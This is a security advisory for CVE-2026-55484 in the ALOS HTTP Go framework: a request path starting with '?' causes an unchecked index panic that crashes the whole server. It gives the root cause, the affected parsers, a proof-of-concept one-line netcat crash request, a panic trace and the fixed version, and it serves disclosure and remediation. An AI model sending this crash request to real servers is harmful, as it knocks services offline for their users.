CVE-2026-55484: ALOS HTTP: Unauthenticated remote DoS: malformed path starting with "?" triggers out-of-bounds panic in sanitizeRequestPath, crashing entire server
Summary A single unauthenticated HTTP request to a path starting with ? (e.g. GET ? HTTP/1.1) crashes the entire server process. The request line parser passes the path to sanitizeRequestPath which indexes the first byte of the path after stripping the query string. It does so without checking that it is non-empty, leading to an out-of-bounds panic. The panic occurs before any handler or middleware runs so core.Recovery() does not recover it. The entire process panics and every connection is dropped. It is reachable over HTTP/1.1, HTTP/2 and HTTP/3 if ListenAndServeQUIC is enabled
Details root cause: core/utils.go::sanitizeRequestPath go // assume path := "?" if len(path) == 0 { // len(path) == 1 return "/" }
p, := splitPathQuery(path) // p == ""
if p[0] == '/' /.../ { // p[0] on empty string => panic: index out of range return p }
when the path starts with "?" len(path) is not 0 so the early return does not fire after splitPathQuery p is empty "" p is then indexed p[0] without a length check
Relevant calling sites:
h1plain.go:ParseH1RequestHead (HTTP/1.1) h1.go::ParseH1Request (dead code) hpack.go::decodeSimpleGetPathHTTPSRequest (HTTP/2) hpack.go::observeHeader (HTTP/2) h3conn.go::handleRequestStream (HTTP/3)
these run in the connection-worker goroutine before the handler chain, which has no recover(), causing the entire http server to crash in case of a panic
PoC
Minimal server, using the quick-start
go srv := core.New(core.Config{Addr: ":8080", PlainHTTP: true}) srv.Router.Use(core.Recovery()) // is unable to catch a parser panic srv.Router.GET("/", func(req core.Request, resp core.Response) { resp.Status(200).String("not crashed (yet)") }) log.Fatal(srv.ListenAndServe())
Crash it with a single request
bash printf 'GET ? HTTP/1.1\r\nHost: x\r\n\r\n' | nc 127.0.0.1 8080
Server output & crash
log 2026/06/11 20:52:52 listening on http://localhost:8080 2026/06/11 20:52:52 [INFO] capabilities: linux/amd64 cpu=8 gomaxprocs=8 workers=8 aes-ni=true ktls-ulp=false nic=eth0 ktls-hw-offload=false => use-ktls=false 2026/06/11 20:52:52 [INFO] raised RLIMITNOFILE soft limit to 1048576 (hard=1048576) 2026/06/11 20:52:52 === ALOS HTTP Server (Plain HTTP/1.1 + HTTP/2 prior knowledge) === 2026/06/11 20:52:52 Listening on http://:8080 (8 listener(s)) 2026/06/11 20:52:52 [INFO] iouring plain worker mode active on Linux amd64: workers=8 accept-shards=8 initial-conn-pool=1600 panic: runtime error: index out of range [0] with length 0
goroutine 34 [running]: github.com/guno1928/alos-http/core.sanitizeRequestPath({0xa4aec31a004, 0x1}) /home/baloo/alos-http/core/utils.go:566 +0x64a github.com/guno1928/alos-http/core.ParseH1RequestHead({0xa4aec31a000, 0x1b, 0x2000}, 0xa4ae6c80098) /home/baloo/alos-http/core/h1plain.go:474 +0x48c github.com/guno1928/alos-http/core.(plainUringWorker).processRequests(0xa4ae6f00008, 0xa4ae6c80000) /home/baloo/alos-http/core/uringplainworkerslinuxamd64.go:618 +0x1db github.com/guno1928/alos-http/core.(plainUringWorker).handleBufferedRead(0xa4ae6f00008, 0xa4ae6c80000, 0x0?, 0x3, 0xa4aec406d00?) /home/baloo/alos-http/core/uringplainworkerslinuxamd64.go:572 +0x365 github.com/guno1928/alos-http/core.(plainUringWorker).handleRead(0x0?, 0xa4aec406d00?, 0x489bcd?, 0x0?, 0x22ecdd3b63a?) /home/baloo/alos-http/core/uringplainworkerslinuxamd64.go:510 +0x25 github.com/guno1928/alos-http/core.(plainUringWorker).handleCompletion(0xa4ae6f00008?, 0xa4ae6f00068?, {0x0?, 0x0?, 0x0?}, 0x0?) /home/baloo/alos-http/core/uringplainworkerslinuxamd64.go:453 +0x185 github.com/guno1928/alos-http/core.(plainUringWorker).run(0xa4ae6f00008, 0xa4ae686f000) /home/baloo/alos-http/core/uringplainworkerslinuxamd64.go:373 +0x72a github.com/guno1928/alos-http/core.(plainUringBackend).start.func1() /home/baloo/alos-http/core/uringplainworkerslinuxamd64.go:190 +0x69 created by github.com/guno1928/alos-http/core.(plainUringBackend).start in goroutine 1 /home/baloo/alos-http/core/uringplainworkerslinuxamd64.go:188 +0x3a exit status 2
all subsequent requests now fail, since the server is down
Impact
Unauthenticated remote single-request denial of service. Any client that can reach the server can crash it with one trivial malformed request. Repeating this process keeps the service offline. There is no loss of confidentiality or integrity. Only availability. Since HTTP/1.1 and HTTP/2 are served by default this affects effectively all deployments of the framework, unless shielded by third parties (e.g. reverse proxies like nginx)
Other sources
ALOS HTTP is a Linux-first Go web framework and application server built around a custom networking stack. Prior to 0.0.0-20260617230736-314b6783e196, core/utils.go::sanitizeRequestPath calls splitPathQuery on a request path beginning with a question mark and then performs the unchecked p[0] access without checking whether the resulting path is empty. An unauthenticated client can send a malformed request such as a question-mark-only path through h1plain.go::ParseH1RequestHead, hpack.go::decodeSimpleGetPathHTTPSRequest, hpack.go::observeHeader, or h3conn.go::handleRequestStream, causing an out-of-bounds panic before core.Recovery() middleware runs and terminating the server process. This issue is fixed in pseudo-version 0.0.0-20260617230736-314b6783e196.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/github.com/guno1928/alos-httpto a version that resolves this vulnerability.Fixed in 0.0.0-20260617230736-314b6783e196 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 0.0.0-20260617230736-314b6783e196
Event History
Frequently Asked Questions
What does an attacker need to exploit this issue?
An attacker only needs network access to an affected HTTP server and can send a single unauthenticated malformed request whose path begins with a question mark, such as `GET ? HTTP/1.1`. No credentials or user interaction are required.
Which protocol listeners are exposed?
The issue is reachable through HTTP/1.1 and HTTP/2. It is also reachable through HTTP/3 when `ListenAndServeQUIC` is enabled.
Can application middleware or core.Recovery() prevent the crash?
No. The panic occurs while parsing the request, before handlers and middleware run, so `core.Recovery()` does not recover it.
How can I tell whether exploitation has affected a server?
Successful exploitation causes the entire server process to panic and drops every connection. Look for process panics associated with an out-of-range access in `sanitizeRequestPath` and simultaneous connection loss.